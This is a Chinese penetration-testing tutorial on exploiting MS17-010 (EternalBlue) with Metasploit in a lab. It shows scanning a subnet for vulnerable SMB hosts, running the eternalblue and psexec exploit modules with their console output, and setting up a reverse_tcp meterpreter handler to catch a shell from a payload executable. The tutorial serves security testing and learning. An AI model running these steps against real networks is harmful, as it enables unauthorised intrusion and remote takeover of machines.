永恒之蓝是去年玩剩下的了,记得当初刚刚泄露的时候,用的是NSA那个fb.py脚本去复现漏洞的。现在Metasploit里面已经集成了17-010漏洞,渗透测试更加方便与正式化,内网中用17-010去测一测会发现意外惊喜哦。
写在前面
起初在Docker环境下最后执行exploit的时候总是拿不到sessions,换了很多系统失败了很多次。后来果断感觉是Docker环境的问题,于是用虚拟机下的Kali测试,最后测试成功~ ~所以测试的时候尽量少用Docker环境下的Kali来监听反弹的sessions哦~ 后来给幸安哥描述了这个情况,得到答复是docker做这个反弹shell监听得把445端口映射出来才可以 涨姿势了。关于端口映射后面会单独写文章来介绍,关于msf一些高级用法本打算写在这篇文章里面的,后来发现有的冗余了,准备另开文章来写。
Metasploit正题
搜索相关的漏洞插件
搜索到了4个相关的插件:
- auxiliary/admin/smb/ms17_010_command
- auxiliary/scanner/smb/smb_ms17_010
- exploit/windows/smb/ms17_010_eternalblue
- exploit/windows/smb/ms17_010_psexec
其中前2个插件是auxiliary
目录下的,属于辅助验证程序。
3和4是exploit
目录下的,这才是我们重点研究的对象~
使用辅助验证插件测试
这里就拿auxiliary/scanner/smb/smb_ms17_010
这个扫描插件来测试,这个插件的作用是扫描可能含有ms17-010漏洞的服务器。
Ruby
msf > use auxiliary/scanner/smb/smb_ms17_010
msf auxiliary(scanner/smb/smb_ms17_010) > show options
Module options (auxiliary/scanner/smb/smb_ms17_010):
Name Current Setting Required Description
–– –––––––- –––– –––––-
CHECK_ARCH true yes Check for architecture on vulnerable hosts
CHECK_DOPU true yes Check for DOUBLEPULSAR on vulnerable hosts
RHOSTS yes The target address range or CIDR identifier
RPORT 445 yes The SMB service port (TCP)
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as
THREADS 1 yes The number of concurrent threads
这里的show options
是显示这个插件相关的一些参数,在Required
这一栏下面是yes
的表示必填参数,这里面还剩RHOSTS
这个参数没有填写即目标网段。下面设置一个目标网段,准备进行扫描测试:
Ruby
msf auxiliary(scanner/smb/smb_ms17_010) > set RHOSTS 10.10.55.1/24
RHOSTS => 10.10.55.1/24
设置扫描线程,插件默认是1
,这里设置为50
:
Shell
msf auxiliary(scanner/smb/smb_ms17_010) > set THREADS 50
THREADS => 50
可以执行show options
查看自己刚刚填写的参数信息:
开始执行插件:
Shell
msf auxiliary(scanner/smb/smb_ms17_010) > run
或者
Shell
msf auxiliary(scanner/smb/smb_ms17_010) > exploit
可以看到扫描出很多含有漏洞的主机了:
使用exploit模块来进行攻击测试
exploit/windows/smb/ms17_010_eternalblue
Ruby
msf > use exploit/windows/smb/ms17_010_eternalblue
msf exploit(windows/smb/ms17_010_eternalblue) > run
exploit成功~~
exploit/windows/smb/ms17_010_psexec
Ruby
msf > use exploit/windows/smb/ms17_010_psexec
msf exploit(windows/smb/ms17_010_psexec) > set RHOST 10.10.55.174
RHOST => 10.10.55.174
msf exploit(windows/smb/ms17_010_psexec) > run
失败~~
msf exploit(windows/smb/ms17_010_psexec) > exploit
[] Started reverse TCP handler on 10.101.177.185:4444
[] 10.10.55.174:445 - Target OS: Windows 7 Ultimate 7601 Service Pack 1
[-] 10.10.55.174:445 - Unable to find accessible named pipe!
[*] Exploit completed, but no session was created.
黑客组织 Shadow Brokers 公布了美国国家安全局 NSA 的内部黑客工具和漏洞利用代码,包括三大工具 EternalChampion、EternalRomance 和 EternalSynergy,近日一位安全研究人员 Sean Dillon(RiskSense) 改良了这三大黑客工具的源代码,使其适用于 Windows 2000 之后 20 年间的所有微软操作系统,包括 32 位和 64 位版本。
这里我随便测试了没有成功,可能是这里我测试的win7版本有点不一样,和官方介绍的所有版本略微有点不一样~~不过在测试Server 08 R2
版本的时候执行效率很高,可以很快拿到反弹的shell。所以具体改良了哪些建议实际动手去测试一番。
msf简单反弹shell模板
kali操作机器的ip地址是:10.101.177.185
,将shell会话转到kali的6666
端口上。
生成payload
payload生成有32位和64位,所以生成的时候得明确目标系统的位数,否则运行或者拿到会话的时候回GG,服务器那边弹出停止响应的运行框。
然后把生成的shell.exe拷贝到Windows下面,准备运行~
32位payload的生成语句就是windows/meterpreter/reverse_tcp
去掉x64
监听shell会话
Shell
msf > use exploit/multi/handler
msf > set LHOST 10.0.0.103
msf > set LPORT 6666
msf > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf > exploit
[*] Started reverse TCP handler on 10.101.177.185:6666
然后msf就开始监听本机的666的端口了。
运行shell.exe
这个时候在windows下点击之前生成的shell.exe
,msf这里会劫持到会话。
32位系统,这里做如下调整:set PAYLOAD windows/meterpreter/reverse_tcp
去掉x64
meterpreter汉字乱码问题
成因
Linux下面汉字默认是UTF-8编码
Windows下汉字使用的是GBK系列编码
解决方案
Kali下先勾选GBK
编码
然后将终端临时设置为GBK系列编码即可。
效果对比
msf乱码
msf汉字正常
转自:https://www.sqlsec.com/2018/03/smb.html
作者:国光